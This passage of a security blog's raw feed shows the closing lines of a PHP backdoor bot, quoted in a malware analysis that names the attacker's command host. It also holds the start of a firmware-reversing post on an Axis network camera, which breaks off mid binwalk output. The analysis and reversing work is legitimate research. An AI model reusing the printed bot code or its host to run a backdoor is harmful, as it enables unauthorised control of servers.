style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum714&quot;&gt; 714:&lt;/span&gt;                 $gid = $gid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;gid&#39;&lt;/span&gt;];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum715&quot;&gt; 715:&lt;/span&gt;                 &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;User: [&quot;&lt;/span&gt;.$user.&lt;span style=&quot;color: #006080&quot;&gt;&quot;] UID/GID: [&quot;&lt;/span&gt;.$uid.&lt;span style=&quot;color: #006080&quot;&gt;&quot;/&quot;&lt;/span&gt;.$gid.&lt;span style=&quot;color: #006080&quot;&gt;&quot;] Group: [&quot;&lt;/span&gt;.$group.&lt;span style=&quot;color: #006080&quot;&gt;&quot;]&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum716&quot;&gt; 716:&lt;/span&gt;             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum717&quot;&gt; 717:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum718&quot;&gt; 718:&lt;/span&gt;     &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum719&quot;&gt; 719:&lt;/span&gt;     &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; stop() {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum720&quot;&gt; 720:&lt;/span&gt;         fclose($this-&amp;gt;connection);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum721&quot;&gt; 721:&lt;/span&gt;         &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum722&quot;&gt; 722:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum723&quot;&gt; 723:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum724&quot;&gt; 724:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum725&quot;&gt; 725:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum726&quot;&gt; 726:&lt;/span&gt; $bot = &lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt; BotComel;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum727&quot;&gt; 727:&lt;/span&gt; $bot-&amp;gt;init();&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum728&quot;&gt; 728:&lt;/span&gt; ?&amp;gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;a php Bot with the attackers ip included on the source, ahlisyurga.no-ip.org. Oh hi there !   </content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/4538759720749496099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/09/fast-php-backdoor-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4538759720749496099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/4538759720749496099'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/09/fast-php-backdoor-analysis.html' title='Fast Php backdoor analysis'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNf2OtTq5Rom0cL8HT1U7xZLVXFHKvyG72PjPRVK_ja0t2Ev7yZ6GS3F8uP1tMBQwljOme3om9sM4BaF9K3pK2D_B4PnNw2xcbTBUveaD6jv0cz6Tc73mSIr2LtfDN7CJshMvXKiEDefDP/s72-c?imgmax=800" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-6703534639449866802</id><published>2011-08-21T20:15:00.002+03:00</published><updated>2011-08-21T20:38:56.023+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="firmware reversing"/><title type='text'>firmware reversing Axis network camera AXIS M1031-W</title><content type='html'>After obtaining the firmware from axis website I went ahead with binwalk to identify the sections in the file, &lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/bin/binwalk-0.3.7/src# binwalk AXIS_M1031-W.bin &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; DECIMAL         HEX             DESCRIPTION&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; -------------------------------------------------------------------------------------------------------&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; 12165           0x2F85          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 12189           0x2F9D          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 12213           0x2FB5          LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 68693           0x10C55         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; 68717           0x10C6D         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 68741           0x10C85         LZMA compressed data, properties: 0x02, dictionary size: 8388608 bytes, uncompressed size: 1073741824 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 82110           0x140BE         LZMA compressed data, properties: 0x00, dictionary size: 8388608 bytes, uncompressed size: 192 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 95704           0x175D8         gzip compressed data, from Unix, last modified: Mon Oct 25 14:03:18 2010, max compression&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; 2899809         0x2C3F61        LZMA compressed data, properties: 0xE0, dictionary size: 8912896 bytes, uncompressed size: 8912896 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; 5390381         0x52402D        LZMA compressed data, properties: 0xAF, dictionary size: 9371648 bytes, uncompressed size: 9371648 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; 7143469         0x6D002D        LZMA compressed data, properties: 0x9E, dictionary size: 28246016 bytes, uncompressed size: 28246016 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; 7421997         0x71402D        LZMA compressed data, properties: 0xBD, dictionary size: 48693248 bytes, uncompressed size: 48693248 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; 7782445         0x76C02D        LZMA compressed data, properties: 0xAF, dictionary size: 2555904 bytes, uncompressed size: 2555904 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; 8212417         0x7D4FC1        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt; 8216581         0x7D6005        LZMA compressed data, properties: 0x90, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt; 8220745         0x7D7049        LZMA compressed data, properties: 0xA0, dictionary size: 262144000 bytes, uncompressed size: 262144000 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; 8224813         0x7D802D        LZMA compressed data, properties: 0xAF, dictionary size: 6291456 bytes, uncompressed size: 6291456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; 8224977         0x7D80D1        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; 8229141         0x7D9115        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; 8233305         0x7DA159        LZMA compressed data, properties: 0xD0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; 8237469         0x7DB19D        LZMA compressed data, properties: 0xE0, dictionary size: 239861760 bytes, uncompressed size: 239861760 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; 9443925         0x901A55        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum27&quot; style=&quot;color: #606060;&quot;&gt;  27:&lt;/span&gt; 9444533         0x901CB5        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum28&quot; style=&quot;color: #606060;&quot;&gt;  28:&lt;/span&gt; 9449893         0x9031A5        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum29&quot; style=&quot;color: #606060;&quot;&gt;  29:&lt;/span&gt; 9450294         0x903336        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum30&quot; style=&quot;color: #606060;&quot;&gt;  30:&lt;/span&gt; 9470202         0x9080FA        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum31&quot; style=&quot;color: #606060;&quot;&gt;  31:&lt;/span&gt; 9471043         0x908443        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum32&quot; style=&quot;color: #606060;&quot;&gt;  32:&lt;/span&gt; 9484593         